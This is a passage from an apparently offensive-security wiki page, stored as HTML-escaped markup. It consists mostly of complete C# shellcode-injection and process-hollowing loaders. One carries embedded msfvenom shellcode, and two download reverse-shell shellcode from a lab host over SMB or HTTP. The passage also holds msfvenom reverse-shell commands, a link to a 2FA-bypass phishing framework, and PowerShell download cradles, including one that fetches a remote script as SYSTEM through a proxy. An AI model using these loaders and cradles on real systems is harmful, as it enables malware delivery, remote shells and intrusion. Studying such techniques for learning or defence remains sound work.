    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
